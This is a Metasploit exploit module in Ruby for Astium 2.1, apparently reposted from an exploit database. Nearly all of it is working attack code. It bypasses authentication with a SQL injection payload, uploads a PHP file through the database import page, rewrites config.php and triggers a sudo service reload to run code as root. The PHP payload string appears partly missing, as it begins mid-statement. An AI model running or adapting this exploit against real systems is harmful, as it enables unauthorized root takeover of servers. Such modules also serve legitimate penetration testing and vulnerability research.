## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Configuration is overwritten and service reloaded include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Astium Remote Code Execution", 'Description' => %q{ This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain admin access. From an admin session arbitrary PHP code upload is possible. It is used to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the "sudo /sbin/service astcfgd reload" command to reload the configuration and achieve remote root code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence ' # Discovery, Metasploit module ], 'References' => [ [ 'OSVDB', '88860' ], [ 'EDB', '23831' ] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Astium 2.1', {}] ], 'Privileged' => true, 'DisclosureDate' => "Sep 17 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']), ], self.class) end def peer return "#{rhost}:#{rport}" end def uri return target_uri.path end def check # Check version print_status("#{peer} - Trying to detect Astium") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "en", "content", "index.php") }) if res and res.code == 302 and res.body =~ /direct entry from outside/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def exploit print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri), 'vars_get' => { 'js' => '0', 'ctest' => '1', 'origlink' => '/en/content/index.php' } }) if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/ session = $1 print_good("#{peer} - Session cookie is [ #{session} ]") redirect = URI(res.headers['Location']) print_status("#{peer} - Location is [ #{redirect} ]") else fail_with(Exploit::Failure::Unknown, "#{peer} - Access to login page failed!") end # Follow redirection process print_status("#{peer} - Following redirection") res = send_request_cgi({ 'uri' => "#{redirect}", 'method' => 'GET', 'cookie' => "astiumnls=#{session}" }) if not res or res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Redirect failed!") end sqlirandom = rand_text_numeric(8) # SQLi to bypass authentication sqli="system' OR '#{sqlirandom}'='#{sqlirandom}" # Random password pass = rand_text_alphanumeric(10) post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login" print_status("#{peer} - Using SQLi to bypass authentication") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "/en", "logon.php"), 'cookie' => "astiumnls=#{session}", 'data' => post_data }) if not res or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{peer} - Login bypass was not succesful!") end # Random filename payload_name = rand_text_alpha(rand(10) + 5) + '.php' phppayload = "\");" phppayload << "fclose($f);" # Reload astcfgd using sudo (so it will read our payload with root privileges). phppayload << "system('sudo /sbin/service astcfgd reload');" # Sleep 1 minute, so that we have enough time for the reload to trigger our payload phppayload << "sleep(60);" # Restore our original config.php, else the Astium web interface won't work anymore. phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');" phppayload << "fwrite($f, $orig);" phppayload << "fclose($f);" phppayload << "?>" post_data = Rex::MIME::Message.new post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"") post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"") file = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{peer} - Uploading Payload [ #{payload_name} ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "en", "database", "import.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "astiumnls=#{session}", 'data' => file }) # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 or res.body !~ /#{payload_name}/ fail_with(Exploit::Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!") end register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}") print_status("#{peer} - Requesting Payload [ #{uri}upload/#{payload_name} ]") print_status("#{peer} - Waiting as the reloading process may take some time, this may take a couple of minutes") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "upload", "#{payload_name}") }, 120) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response...") end end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-09-28]